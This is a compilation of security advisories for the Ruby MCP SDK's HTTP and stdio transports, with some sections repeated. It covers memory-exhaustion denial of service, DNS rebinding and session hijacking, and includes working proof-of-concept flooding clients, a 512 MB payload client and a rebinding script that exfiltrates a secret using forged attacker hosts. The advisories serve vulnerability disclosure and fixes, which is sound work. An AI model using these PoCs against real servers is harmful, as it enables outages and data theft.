• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

